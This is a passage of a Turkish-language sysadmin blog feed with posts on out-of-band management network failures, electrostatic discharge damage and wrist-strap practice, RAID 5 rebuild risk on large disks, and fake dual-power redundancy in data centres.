<p>Tasarım felsefesi çok basittir: Ön kapı alev alsa bile, arka yangın merdiveninden içeri sızabilmelisiniz. Bir switch üzerinde yanlış bir VLAN konfigürasyonu yaptığınızda, bir firewall kuralıyla SSH portunu kaza ile dış dünyaya kapattığınızda veya çekirdek (kernel) panikleyen bir sunucuyu hard-reset ile ayağa kaldırmak istediğinizde tek sığınağınız bu OOB ağıdır.</p>
<p>Fakat pratikte Türkiye'deki ve dünyadaki pek çok veri merkezinde OOB ağı, sistem odasının "üvey evladı" muamelesi görür.</p>
<hr>
<h3>OOB Ağını İntihara Sürükleyen Ölümcül Hatalar</h3>
<p>Gemi su alırken filikanın neden suyun dibine battığını incelediğinizde, altından her zaman aynı ucuz ve tembel mimari kararlar çıkar:</p>
<h4>1. "Eski Hurda Switch'i OOB'ye Takalım" Mantığı</h4>
<p>Prodüksiyon omurgasında yüz binlerce dolarlık Arista, Cisco Nexus veya Juniper omurgalar kullanılırken; OOB ağına gelindiğinde ofis deposunda tozlanmış, on yıllık, portlarının yarısı arızalı, fanı öten 100 Mbit'lik eski bir switch takılır. "Aman canım alt tarafı bir web arayüzü açacak, ne gerek var masrafa?" denir.</p>
<p>Oysa kriz anında o hurda switch'in işlemcisi broadcast paketlerinin altında ezilir, bellek taşması (memory leak) yaşar ve prodüksiyon çöktüğü anda kendisi de kilitlenir.</p>
<h4>2. DHCP Bağımlılığı Paradoksu</h4>
<p>Gözlerimle şahit olduğum en trajik veri merkezi hikayelerinden biridir: Bir sistem ekibi, 150 adet sunucunun iDRAC arayüzüne statik IP vermekle uğraşmak istemez. "DHCP'den dağıtalım, MAC adreslerini rezerve ederiz" derler.</p>
<p>Her şey harikadır; ta ki şirketin prodüksiyon ortamındaki Active Directory ve DHCP sunucularını barındıran sanallaştırma kümesi (vSphere/KVM) çöken bir storage yüzünden kapanana kadar. Prodüksiyon göçtüğü için DHCP sunucusu ölür; DHCP öldüğü için OOB switch'e bağlı sunucuların yönetim kartları IP yenileyemez (lease time dolar) ve APIPA (169.254.x.x) adresine düşer. Sunuculara erişip sanallaştırmayı açamazsınız, çünkü yönetim kartları IP alamaz; yönetim kartları IP alamaz çünkü sanallaştırma kapalıdır!</p>
<p>Mükemmel bir sistem tavuk-yumurta kilitlenmesi (deadlock).</p>
<h4>3. OOB Ağının Prodüksiyondan Beslenen VPN Ağ Geçidi</h4>
<p>Bir diğer popüler akıl tutulması: Mühendis evindedir, gece saat üçte prodüksiyon ağı BGP fırtınası yüzünden kopar. Mühendis OOB ağına bağlanmak için şirketin ana Firewall'una (örneğin Fortigate / Palo Alto) SSL-VPN ile bağlanmaya çalışır.</p>
<p>Ama bir dakika; ana firewall'un internet bacağı da prodüksiyon omurgasından çıkmaktadır! Prodüksiyon omurgası öldüğü için VPN sonlandırıcıya ulaşılamaz. OOB ağı fiziksel olarak çalışıyor olsa bile, o ağa dışarıdan girecek bağımsız bir LTE/4G modem veya ayrı bir ADSL/Metro hattı konulmadığı için OOB ağı bir ada gibi kendi içinde izole kalır.</p>
<hr>
<h3>Gece Yarısı Veri Merkezine Doğru Panik Sürüşü</h3>
<p>Uzaktan yönetim ağınız çöktüğünde teorik sistem yöneticiliği biter; saf fiziksel efor ve çaresizlik başlar.</p>
<p>Pijamalarınızla yatağınızdan fırlar, bagaja konsol kablolarınızı, USB-Serial dönüştürücülerinizi ve taşınabilir bir monitörü atıp gecenin köründe veri merkezine doğru gazlarsınız. Soğuk koridorda elleriniz titreyerek, kabin arkasındaki o tozlu OOB switch'in konsol portuna mavi rollover kabloyu taktığınızda gördüğünüz manzara genellikle şudur:<br>
<code>Switch CPU utilization: 99% - Spanning Tree loop detected on port 24.</code></p>
<p>Biri aylar önce kablolama yaparken OOB switch'indeki iki port arasına kazara bir patch kablo takmış ve bir loop (döngü) yaratmıştır; ya da bir sunucunun çift portlu IPMI kartı yanlışlıkla köprülenmiştir. Sistem o güne kadar fark edilmeden idare etmiştir, ama ilk fırtınada tüm broadcast paketleri o eski switch'i boğmuştur.</p>
<hr>
<h3>Yaşatmak İçin İzole Et</h3>
<p>Bir Out-of-Band ağı kuruyorsanız, kendinize şu acımasız soruyu sormak zorundasınız: <em>Dünyadaki tüm ana sistemler, DNS'ler, DHCP'ler, firewall'lar ve omurga switch'ler yeryüzünden silinse bile ben bu yönetim portuna ulaşabilir miyim?</em></p>
<p>Cevabınız "Evet" değilse, bir OOB ağınız yoktur; sadece pahalı bir teselli mekanizmanız vardır.</p>
<p>Gerçek bir OOB mimarisi:</p>
<ul>
<li><strong>Tamamen Statik Olmalıdır:</strong> Her yönetim kartının IP'si, alt ağ maskesi ve geçidi cihazın NVRAM'ine kazınmalı; hiçbir harici sunucuya (DHCP) muhtaç olmamalıdır.</li>
<li><strong>Fiziksel Olarak İzole Olmalıdır:</strong> Prodüksiyon VLAN'ları ile OOB VLAN'ları aynı trunk kablodan geçmemelidir. Ayrı bir patch panel, ayrı bir kablo tavası ve bağımsız bir switch omurgası bulunmalıdır.</li>
<li><strong>Bağımsız Giriş Kapısı Olmalıdır:</strong> OOB switch'inin başında, binanın ana internetinden tamamen bağımsız çalışan bir 4G/5G endüstriyel modem veya bağımsız bir DSL hattı bulunmalı; mühendis doğrudan bu uç noktaya VPN yapabilmelidir.</li>
</ul>
<p>Tıpta acil çantasının kuralı şudur: Hastanın yanına koştuğunuzda o çantadaki laringoskopun ışığı yanmıyorsa, dünyanın en iyi doktoru olmanızın hiçbir anlamı yoktur.</p>
<p>Veri merkezinde de cankurtaran filikanızın motorunu her ay çalıştırmıyorsanız, gemi batarken suyun üzerinde yüzmeyi değil, boğulurken ne kadar pişman olacağınızı düşünürsünüz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>OOB</category>
            <category>iDRAC</category>
            <category>iLO</category>
            <category>Ağ Yönetimi</category>
            <category>Data Center</category>
            <category>SysAdmin</category>
            <category>Altyapı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/out-of-band-oob-yonetim-aginin-kendi-icinde-cokmesi-cankurtaran-filikasinin-batisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sessiz Katil" Statik Elektrik ve ESD Bilekliği Tiyatrosu: Görünmez Şokun Faturası]]></title>
            <link>http://localhost:3000/blog/post/sessiz-katil-statik-elektrik-ve-esd-bilekligi-tiyatrosu-gorunmez-sokun-faturasi</link>
            <guid>sessiz-katil-statik-elektrik-ve-esd-bilekligi-tiyatrosu-gorunmez-sokun-faturasi</guid>
            <pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Gözle görülmeyen elektrostatik deşarjın (ESD) kurumsal donanımlara verdiği gizli hasarlar, sembolik olarak takılan antistatik bileklik tiyatrosu ve açıklanamayan donanım kilitlenmelerinin arkasındaki fizik.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sessiz-katil-statik-elektrik-ve-esd-bilekligi-tiyatrosu-gorunmez-sokun-faturasi/thumbnail" alt=""> Cerrahi stajlarım sırasında ameliyathaneye ilk adım attığım günü çok net hatırlarım. Kapıda ellerinizi dirseklere kadar özel klorheksidinli fırçalarla dakikalarca yıkar, steril eldivenleri havada hiçbir şeye değdirmeden giyer ve kollarınızı göğüs hizanızda birleştirip beklerdiniz. Ameliyathanenin değişmez kuralı "asepsi ve antisepsi" idi. Çünkü mikrop gözle görülmezdi; eliniz tertemiz, pırıl pırıl görünebilirdi ama o görünmez tek bir <em>Staphylococcus</em> kolonisi hastanın karın boşluğuna girdiğinde üç gün sonra o insanı sepsisten tabuta koyabilirdiniz.</p>
<p>Bazen dikkatsiz bir personelin steril eldiveni taktıktan sonra gayriihtiyari burnunu kaşıdığını veya ameliyat lambasının steril olmayan koluna değdiğini görürdünüz. "Aman hocam ne olacak, elimin ucuyla hafifçe dokundum" cehaleti, tıpta cinayetle eşdeğerdir.</p>
<p>Elektronik dünyasında, veri merkezlerinin soğuk koridorlarında ve sunucu laboratuvarlarında da tam olarak bu biyolojik virüs gibi işleyen, gözle görülmeyen, hissedilmeyen ama milyonlarca liralık donanımı sessizce çöp eden bir katil vardır: <strong>Elektrostatik Deşarj (ESD - Electrostatic Discharge).</strong></p>
<p>Ve bu katile karşı geliştirdiğimiz en büyük kurumsal yalan da kabinlerin kenarında asılı duran o mavi antistatik bilekliklerin sergilediği sahne tiyatrosudur.</p>
<hr>
<h3>Hissedilmeyen Voltaj, Delinen Silikon</h3>
<p>Bir kış günü yün kazağınızı çıkarıp kapı koluna uzandığınızda parmağınızdan metal kola doğru mavi bir kıvılcım sıçrar ve canınız acır: "Çıt!"</p>
<p>İnsan biyolojisinin bir elektrostatik yükü fiziksel olarak hissedebilmesi, derisindeki sinir uçlarının uyarılabilmesi için o voltajın en az <strong>3.000 Volt (3 kV)</strong> seviyesine ulaşması gerekir. Hatta karanlıkta kıvılcımı görebilmeniz için potansiyel farkın 5.000 Volt'un üzerine çıkması lazımdır. Yün halıda yürüyen, tekerlekli suni deri koltukta oturan bir teknisyenin vücudu rahatlıkla 15.000 - 20.000 Volt statik elektrik yükü biriktirebilir.</p>
<p>Şimdi bu denklemin diğer tarafına bakalım:<br>
Bir sunucunun anakartı üzerindeki modern mikrodenetleyiciler, DDR5 ECC RAM blokları veya PCI-e Gen5 kontrolcüleri kaç volta kadar dayanıklıdır biliyor musunuz?<br>
<strong>Sadece 10 ila 100 Volt!</strong></p>
<p>Nanometre ölçeğindeki silikon kapı oksit tabakaları (gate oxide layers) o kadar incedir ki, birkaç atom kalınlığındadır. Siz parmağınızı 128 GB'lık kurumsal bir ECC RAM modülünün altın pinlerine dokundurduğunuzda hiçbir şey hissetmezsiniz. Kıvılcım görmezsiniz, ses duymazsınız, eliniz yanmaz. Çünkü deşarj olan 200-300 Volt sizin kaba deri bariyeriniz için tamamen hissizdir.</p>
<p>Ama o görünmez akım, RAM modülünün içindeki milyarlarca mikroskobik transistörün arasından geçerken silikonun üzerinde volkanik bir krater patlatır.</p>
<hr>
<h3>Latent Hasar: Anında Ölmeyen, Süründüren Donanım</h3>
<p>ESD'nin en tehlikeli boyutu "Catastrophic Failure" (ani ve tam ölüm) değildir. Bir bileşene dokunursunuz, sunucu hiç açılmaz; bu en masum senaryodur. Gider yenisini takarsınız, suç bellidir.</p>
<p>Asıl felaket, literatürde <strong>"Latent Defect" (Gizli / Uyuyan Hasar)</strong> olarak adlandırılan durumdur.</p>
<p>Statik yük, transistörün yalıtkan katmanını tamamen parçalamaz; sadece çatlatır, zayıflatır veya yarı iletken kanalda mikroskobik bir deformasyon bırakır. Sunucu kasasını kapatır, sunucuyu rafa sürer ve çalıştırırsınız. Cihaz sorunsuz açılır! POST testini geçer, işletim sistemi yüklenir, her şey mükemmel görünür.</p>
<p>Sonra ne olur?<br>
Üç hafta sonra, şirketinizin en yoğun işlem hacmine ulaştığı Salı günü saat 14:30'da:</p>
<ul>
<li>Linux çekirdeği aniden <code>Kernel Panic - Machine Check Exception (MCE)</code> verir.</li>
<li>Veritabanı motoru bellekteki veriyi diske yazarken tek bir bit sapması (bitflip) yaşar ve tablo kilitlenir.</li>
<li>Sunucu haftada bir kez rastgele yeniden başlar, ancak donanım testine soktuğunuzda Dell SupportAssist veya HP Insight Diagnostics "Tüm donanımlar sağlam" raporu verir!</li>
</ul>
<p>Sysadmin çıldırma noktasına gelir. Yazılımcıya "Kodun bellek sızdırıyor" der, yazılımcı sistemciye "İşletim sistemin bozuk" der. Oysa tek suçlu; üç hafta önce o RAM'i takarken ESD bilekliği takmaya üşenip çıplak elle tutan ve "Bak açıldı, bir şey olmadı işte" diyen teknisyenin parmak ucundaki görünmez statik yüktür. O zayıflayan transistör, termal stres ve elektriksel yük altında zamanla sızıntı akımı (leakage current) üretmiş ve en sonunda sistemi dizlerinin üzerine çökertmiştir.</p>
<hr>
<h3>Duvarda Asılı Süs: ESD Bilekliği Tiyatrosu</h3>
<p>Hemen hemen her kurumsal veri merkezinin girişinde veya bakım masasında duvara asılmış sarı-mavi antistatik bileklikler (ESD wrist straps) görürsünüz. Denetim firmaları geldiğinde prosedür klasörlerinde fotoğrafları yer alır.</p>
<p>Fakat sahada yaşanan gerçek tam bir absürt tiyatrodur:</p>
<ol>
<li><strong>Ucu Boşta Kalan Timsah Kıskacı:</strong> Teknisyen bilekliği bileğine takar ama sarmal kablonun ucundaki timsah kıskacını hiçbir yere bağlamaz! Kablo kasanın üzerinde sallanır. Statik elektriğin toprağa akması için kapalı bir devre olması gerektiği fizik kuralı tamamen unutulmuştur; bileklik adeta nazar boncuğu gibi takılmaktadır.</li>
<li><strong>Boya Üzerine Tut Turulan Kıskaç:</strong> Kıskacı sunucu kabinine tuttururlar; ancak kabinin boyalı, vernikli dış yüzeyine kıstırırlar. Boya yalıtkandır! Boyalı metal yüzey topraklama sağlamaz; boyasız, galvanizli şasiye veya özel ESD topraklama barasına (grounding lug) bağlanması gerekir.</li>
<li><strong>El Çırparak Statik Boşaltma Efsanesi:</strong> En popüler Türk usulü donanım ritüeli: Kasanın kapağını açmadan önce elleri kabin demirine iki saniye sürtüp "Tamamdır, statik elektriğimi boşalttım" demek. Bir insanın statik elektriği nötrlemesi o kadar basit değildir; ayağınızdaki yalıtkan kauçuk tabanlı spor ayakkabıyla kabin içinde attığınız tek bir adım, o boşalttığınız yükü yarım saniyede misliyle geri yükler.</li>
</ol>
<hr>
<h3>Kurumsal Disiplin ve Antistatik Kültür</h3>
<p>Donanım ucuz değildir. 256 GB ECC DDR5 bellek modüllerinin, çift soketli server anakartlarının binlerce dolar olduğu bir çağda; bu bileşenleri pazar tezgahından elma seçer gibi çıplak elle kenarlarından değil entegrelerinden tutarak taşımak affedilemez bir amatörlüktür.</p>
<p>Gerçek bir operasyonel olgunluk şunları şart koşar:</p>
<ul>
<li><strong>Topraklanmış ESD Matı:</strong> Bakım masalarında üzeri toprağa bağlı özel iletken matlar bulunmalı, sökülen her kart doğrudan bu matın üzerine veya antistatik koruyucu poşetinin (antistatic bag) üzerine konulmalıdır. (Poşetin içi antistatiktir, dışı genellikle statik toplayıcıdır, bunu dahi bilmeyen teknisyenler vardır!)</li>
<li><strong>Sürekli Test Edilen Bileklikler:</strong> Bileklikler sadece takılmamalı, bakım masasının girişindeki ESD test cihazına basılarak teknisyenin direnç aralığının (genellikle 1 Megaohm güvenlik direnci) uygun olup olmadığı kontrol edilmelidir.</li>
<li><strong>Kıyafet ve Ayakkabı Standartları:</strong> Sentetik polar kazaklarla, yün hırkalarla veri merkezine girip sunucu içi açma dönemi kapanmalıdır.</li>
</ul>
<p>Ameliyathanede mikrop nasıl affetmezse, silikon vadisinde de elektrostatik şok affetmez.</p>
<p>Bir anakarta dokunmadan önce o bilekliği gerçekten toprağa bağlamıyorsanız, elinizdeki pahalı sunucu parçası çalışsa bile aslında içten içe kanayan ve ne zaman öleceğini kestiremediğiniz saatli bir bombadır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Donanım</category>
            <category>ESD</category>
            <category>Sunucu</category>
            <category>Veri Merkezi</category>
            <category>Bakım</category>
            <category>SysAdmin</category>
            <category>Altyapı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sessiz-katil-statik-elektrik-ve-esd-bilekligi-tiyatrosu-gorunmez-sokun-faturasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["RAID 5 Öldü": Terabaytlık Disklerde Rebuild Kabusu ve İkinci Diskin Ölümü]]></title>
            <link>http://localhost:3000/blog/post/raid-5-oldu-terabaytlik-disklerde-rebuild-kabusu-ve-ikinci-diskin-olumu</link>
            <guid>raid-5-oldu-terabaytlik-disklerde-rebuild-kabusu-ve-ikinci-diskin-olumu</guid>
            <pubDate>Sun, 31 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yüksek kapasiteli mekanik disklerde tek bir arıza sonrası başlayan günlerce süren rebuild stresi, URE (Unrecoverable Read Error) matematiği ve RAID 5 dizilerinin ikinci disk ölümüyle buharlaşması.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/raid-5-oldu-terabaytlik-disklerde-rebuild-kabusu-ve-ikinci-diskin-olumu/thumbnail" alt=""> Acil tıpta ağır travma veya çoklu organ yetmezliği vakalarında karşılaştığımız meşhur bir klinik tablo vardır: Bir organ iflas ettiğinde —örneğin akut böbrek yetmezliği başladığında— vücut tüm yükü kalp ve karaciğere yıkar. Vücuttaki sıvı dengesini ve toksin tahliyesini sağlamak için zaten sınırda çalışan kalp, iki katı debiyle kan pompalamaya zorlanır. Ve tam o kritik dengeleme sürecinde, aşırı strese dayanamayan kalbin ritmi bozulur; tek bir organı kurtarmaya çalışırken hasta masada tüm organlarıyla birlikte multiorgan yetmezliğinden kaybedilir.</p>
<p>Depolama sistemleri ve veri merkezi dünyasında da tam olarak bu ölümcül domino etkisini birebir yaşatan, mühendislik tarihinin en sinsi tuzaklarından biri vardır: <strong>Terabaytlık disklerde RAID 5 kullanmak.</strong></p>
<p>Sektörde uzun yıllar geçirmiş kıdemli sistem yöneticilerinin yüzünde, birisi "Storage'ı RAID 5 yaptık, hem ekonomik oldu hem tek disk toleransımız var" dediğinde beliren o buruk, acı tebessümün arkasında işte bu travmatik cenaze törenleri yatar.</p>
<hr>
<h3>RAID 5 Matematiği Neden ve Ne Zaman İflas Etti?</h3>
<p>1990'larda ve 2000'lerin başında diskler 36 GB, 73 GB veya en fazla 146 GB kapasiteye sahipken RAID 5 bir mühendislik harikasıydı. N+1 mantığıyla bir diskin kapasitesini pariteye (parity) ayırır, tek bir disk fiziksel olarak yansa bile sistemi kesintisiz çalıştırmaya devam ederdiniz. Arızalı diski çeker, yerine yenisini takardınız ve 45 dakika içinde dizi yeniden yapılandırılır (rebuild edilir), hayat normale dönerdi.</p>
<p>Fakat bugün masamızda 16 TB, 20 TB hatta 24 TB kapasiteli kurumsal SATA ve SAS diskler dönüyor. Ve fizik kuralları bu devasa kapasitelerde RAID 5'in tabutuna son çiviyi çoktan çaktı.</p>
<p>Bu ölüm fermanının altında iki temel teknik neden yatar:</p>
<ol>
<li><strong>İnanılmaz Uzun Süren Rebuild Süreleri:</strong> 18 TB'lık bir diskin RAID dizisine yeniden dahil edilmesi, saatler değil <strong>günler</strong> sürer. Hatta storage ünitesi o sırada prodüksiyonda canlı I/O yükü altındaysa, bu rebuild süreci 4 ila 7 güne kadar uzayabilir.</li>
<li><strong>URE (Unrecoverable Read Error) İstatistiği:</strong> Standart kurumsal disklerin teknik veri sayfalarında (datasheet) küçük puntolarla bir metrik yazar: <code>Non-recoverable read errors per bits read: 1 in 10^14</code> (veya kurumsal SAS disklerde <code>1 in 10^15</code>).</li>
</ol>
<p>Bu matematiksel gerçek ne anlama gelir? Kabaca her 12 terabaytlık veri okuma işleminde diskin fiziksel sektörlerinden en az birinde matematiksel olarak düzeltilemez bir okuma hatası meydana gelme ihtimali neredeyse kesindir!</p>
<hr>
<h3>Rebuild Kabusu: Kalan Disklerin Kalp Krizi</h3>
<p>Senaryo her zaman aynı trajediyle başlar:<br>
Sekiz adet 16 TB'lık diskten oluşan bir RAID 5 diziniz vardır. Bir gece yarısı üçüncü disk kırmızı ışığını yakar ve "FAILED" durumuna düşer.</p>
<p>Sysadmin soğukkanlılıkla veri merkezine gider, yedeğin rafta bekleyen taze diskini kızağa takar ve içeri iter. Kontrolcü (RAID controller) sevinçle rebuild sürecini başlatır: <code>%1... %5... %12...</code></p>
<p>Fakat o rebuild işlemi sırasında arka planda ne yaşanır biliyor musunuz?<br>
Yeni takılan o 16 TB'lık boş diskin parite verisini baştan hesaplayıp yazabilmek için, dizide kalan diğer yedi diskin üzerindeki <strong>her bir sektörün baştan sona, aralıksız olarak okunması</strong> gerekir!</p>
<p>Zaten aynı parti (batch) üretimden çıkmış, aynı kabinde aynı titreşime maruz kalmış, aynı sıcaklıkta 4 yıldır yan yana 7200 RPM hızla dönen o yaşlı yedi disk; hayatlarının en acımasız I/O falakasına yatırılır. Günlerce yüzde yüz okuma yükü altında cayır cayır ısınırlar.</p>
<p>Ve üçüncü günün sabahında, rebuild göstergesi <code>%78</code> seviyesindeyken kontrol kartından o korkunç alarm sesi yükselir:<br>
<code>Drive 6: Read Error / I/O Timeout - Drive Dropped from Array.</code><br>
<code>CRITICAL: Multiple drive failures detected. Virtual Disk Offline.</code></p>
<p>İkinci disk strese dayanamamış, ya URE hatası vermiş ya da mekanik motoru kilitlenmiştir. RAID 5 sadece tek disk toleransına sahip olduğu için, ikinci diskin düştüğü o mikrosaniyelik anda tüm parite algoritması çöker.</p>
<p>100 terabaytlık veriniz artık kurtarılamaz bir gürültü yığınına (garbage data) dönüşmüştür.</p>
<hr>
<h3>"Ama Bizim RAID'imiz Vardı!" Çaresizliği</h3>
<p>Veri kaybı yaşayan yöneticilerin ilk sığınağı her zaman aynı yanılgıdır: "Ama biz sunucuyu RAID'li kurmuştuk, verimiz nasıl uçar?"</p>
<p>Sistem mühendisliğinin ilk dersinde tahtaya büyük harflerle yazılması gereken kanun şudur:<br>
<strong>RAID BİR YEDEKLEME DEĞİLDİR.</strong></p>
<p>RAID, donanım arızası anında iş sürekliliği (high availability) sağlamak için tasarlanmış bir mimaridir; veriyi korumak için değil. RAID sizi fidye yazılımlarından korumaz, yanlışlıkla çalıştırılan <code>rm -rf</code> komutundan korumaz, kontrol kartının arızalanıp veriyi bozmasından korumaz ve en önemlisi rebuild sırasında ikinci diskin patlamasından korumaz.</p>
<p>Eğer RAID 5 dizinizin arkasında bağımsız, test edilmiş, harici bir depolama birimine veya teyp kasetine (LTO) alınmış güncel bir soğuk yedeğiniz (cold backup) yoksa; elinizdeki tek şey pimi çekilmiş ve mandalı gevşemiş bir el bombasıdır.</p>
<hr>
<h3>Modern Dünyada Ne Kullanmalıyız?</h3>
<p>RAID 5, 2 TB'ın üzerindeki disklerin dünyasında artık bir tasarım hatasıdır, mesleki bir ihmaldir. Peki günümüz mimarilerinde ne yapılmalıdır?</p>
<ol>
<li><strong>En Az RAID 6 (Çift Parite):</strong> Eğer mutlaka klasik parite tabanlı bir RAID kullanacaksanız, minimum standart RAID 6'dır. RAID 6, iki diskin aynı anda ölmesine tolerans tanır. Rebuild sırasında ikinci disk çökse bile sistem üçüncü diske dayanarak çalışmaya devam eder.</li>
<li><strong>RAID 10 (Mirroring + Striping):</strong> Performans ve güvenlik kritikse RAID 10 altın standarttır. Parite hesaplama yükü yoktur, rebuild işlemi diğer disklerin tümünü taramak yerine sadece ölen diskin aynasını (mirror) kopyalamaktan ibarettir; dolayısıyla dakikalar veya birkaç saat içinde tamamlanır.</li>
<li><strong>ZFS (RAID-Z2 / RAID-Z3) ve Dağıtık Depolama:</strong> Modern dosya sistemleri (ZFS, Ceph, MinIO) verinin sağlığını her blokta checksum ile doğrular. URE hatası aldığında tüm diziyi çökertmek yerine sadece o hatalı bloğu pariteden onarır ("scrubbing").</li>
</ol>
<p>Tıpta bir kural vardır: Yaşlı ve damarları kireçlenmiş bir hastayı ağır maraton koşusuna sokamazsınız; kalbi kaldırmaz.</p>
<p>Yıllardır dönen 18 TB'lık SATA diskleri de tek disk toleranslı RAID 5 ile günlerce sürecek ölümcül bir rebuild maratonuna sokmayın. Ya çift parite kalkanı koyun, ya aynalama yapın; ama asla verinizi tek bir diskin parite şansına emanet etmeyin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>RAID</category>
            <category>Depolama</category>
            <category>HDD</category>
            <category>Veri Kurtarma</category>
            <category>SysAdmin</category>
            <category>Altyapı</category>
            <category>Donanım</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/raid-5-oldu-terabaytlik-disklerde-rebuild-kabusu-ve-ikinci-diskin-olumu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Redundant Power" (Çift Güç Kaynağı) İllüzyonu ve Tek Pano Falakası: Sahte A+B Güvenliği]]></title>
            <link>http://localhost:3000/blog/post/redundant-power-cift-guc-kaynagi-illuzyonu-ve-tek-pano-falakasi-sahte-ab-guvenligi</link>
            <guid>redundant-power-cift-guc-kaynagi-illuzyonu-ve-tek-pano-falakasi-sahte-ab-guvenligi</guid>
            <pubDate>Sat, 30 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sunucu arkasına takılan çift güç kaynağının (PSU) mühendise verdiği sahte güvenlik hissi; iki kablonun aynı PDU veya aynı sigortada buluştuğu o trajik kriz anı ve gerçek elektriksel yedekliliğin anatomisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/redundant-power-cift-guc-kaynagi-illuzyonu-ve-tek-pano-falakasi-sahte-ab-guvenligi/thumbnail" alt=""> İnsan anatomisi harika bir yedeklilik (redundancy) simetrisine sahiptir. İki böbreğimiz, iki akciğerimiz, beynimize kan taşıyan iki ana şah damarımız (karotis arter) vardır. Biri hasar görse, diğeri organizmayı hayatta tutacak kapasiteye sahiptir. Fakat bu kusursuz biyolojik tasarımın ölümcül bir darboğazı vardır: İki akciğerin de oksijen aldığı yer tek bir borudur; trakea, yani nefes borusu.</p>
<p>Bir lokma et trakeayı tıkadığında, göğüs kafesinizde iki tane devasa akciğerinizin olmasının hiçbir kıymeti kalmaz. O ortak darboğaz çöktüğü anda, iki bağımsız organ da saniyeler içinde oksijensiz kalarak beyni felce sürükler.</p>
<p>Veri merkezi mimarisinde ve kurumsal sistem odalarında da tam olarak bu trakea körlüğünü yaşayan, tabelasında "Tier-3 Altyapı" yazıp arka planda sefalet saçan devasa bir illüzyon vardır: <strong>Çift Güç Kaynağı (Redundant PSU) Yalanı.</strong></p>
<p>Satın alma departmanları bütçeyi ikiye katlayarak "çift güç kaynaklı (Dual PSU / 750W Titanium Hot-Plug)" kurumsal sunucular alır, sistemciler sunucuların arkasına gururla iki kalın siyah güç kablosu takar. Ta ki binanın trafosunda küçük bir ark oluşup, o çift güç kaynaklı yüz elli sunucunun hepsi aynı mikrosaniyede tek bir "çıt" sesiyle zifiri karanlığa gömülene kadar.</p>
<hr>
<h3>Kabin Arkasındaki Tembellik: Aynı PDU'ya İki Fiş</h3>
<p>Gözlerimle onlarca kurumsal firmanın sistem odasında şahit olduğum, trajikomik bir kabin arkası manzarası vardır.</p>
<p>Sunucunun kasasını rafa sürersiniz. Kasanın arkasında yan yana iki adet güç kaynağı yuvası durur: <code>PSU 1</code> ve <code>PSU 2</code>. Mühendis eline iki adet C13-C14 güç kablosu alır. Biri sağdakine, biri soldakine takılır.</p>
<p>Sonra kabinin yan dikmesinde asılı duran dikey PDU'ya (Power Distribution Unit) bakar. Orada yan yana 24 tane C13 priz vardır. Mühendis iki kabloyu da alır; birinci fişi 7. prize, ikinci fişi 8. prize takar!</p>
<p>Tebrikler; kağıt üzerinde "çift beslemeli ve yedekli" bir sunucunuz vardır, ama gerçekte o kabinin PDU'su üzerinde küçük bir kısa devre olduğunda veya PDU'nun kendi giriş sigortası attığında sunucunuz anında kütük gibi yere çakılacaktır.</p>
<p>Sunucunun kendi içinde iki güç kaynağının olması bir "yedeklilik" değildir; o sadece son kullanıcı ucundaki bir soket çoğullamasıdır. Asıl mesele, o iki soketin geriye doğru uzanan elektriksel soyağacının nerede buluştuğudur.</p>
<hr>
<h3>A ve B Hattının Sahte Ayrılığı</h3>
<p>İşi biraz daha bildiğini iddia eden ekipler kabine iki adet PDU koyarlar: Sol tarafa mavi etiketli "PDU-A", sağ tarafa kırmızı etiketli "PDU-B". Sunucunun PSU 1'i A'ya, PSU 2'si B'ye takılır. Mühendis koltuğuna kurulur: <em>"Artık A+B tam yedekliyiz."</em></p>
<p>Şimdi kabinin tabanındaki yükseltilmiş döşemeyi kaldıralım ve o iki kalın zırhlı kablonun izini sürelim:</p>
<ol>
<li><strong>Aynı Sigorta Panosu (Distribution Panel):</strong> PDU-A ve PDU-B'den çıkan kablolar oda duvarındaki dağıtım panosuna gider. Panonun kapağını açarsınız; evet, iki ayrı 16 Amper sigortaya bağlanmışlardır. Ama o iki sigortanın tepe barası ortaktır! Panonun girişindeki ana kaçak akım rölesi veya ana şalter tek bir faz dengesizliğinde attığında, hem A hem B sigortası aynı anda enerjisiz kalır.</li>
<li><strong>Aynı UPS Ünitesi:</strong> Panoyu geçersiniz, UPS odasına inersiniz. Görürsünüz ki PDU-A da PDU-B de aynı 100 kVA'lık devasa kabin tipi kesintisiz güç kaynağına bağlıdır! "Nasıl olsa UPS'imiz 100 kVA, ikisini de besler" denmiştir. O UPS'in içindeki statik bypass arızalandığında veya akü grubundan biri patladığında iki hat birden kesilir.</li>
<li><strong>Aynı Şehir Şebekesi / Trafo:</strong> En acı senaryo ise binanın ana dağıtım merkezindedir. A hattı UPS üzerinden geliyordur, B hattı ise "UPS çökerse şebekeden beslensin" diye doğrudan trafoya bağlanmıştır. Şehir elektriği kesildiğinde şebeke ölür (B hattı gider); tam o sırada UPS devreye girerken oluşan 20 milisaniyelik transfer gecikmesinde (veya UPS'in aşırı akım çekmesiyle) A hattı da çöker.</li>
</ol>
<p>İki farklı yolun sonunda aynı köprüye çıkıyorsanız, o köprü yıkıldığında hangi yoldan geldiğinizin hiçbir önemi kalmaz.</p>
<hr>
<h3>Yük Paylaşımı (Load Balancing) ve Gizli Aşırı Yük Tuzağı</h3>
<p>Çift güç kaynaklı sunucuların çalışma prensibinde çok kritik ve çoğu zaman gözden kaçan bir fizik kuralı vardır: <strong>Yük Paylaşımı.</strong></p>
<p>Modern sunucularda PSU'lar genellikle iki modda çalışır:</p>
<ul>
<li>Ya yükü <code>%50 - %50</code> oranında iki güç kaynağı arasında eşit paylaşırlar,</li>
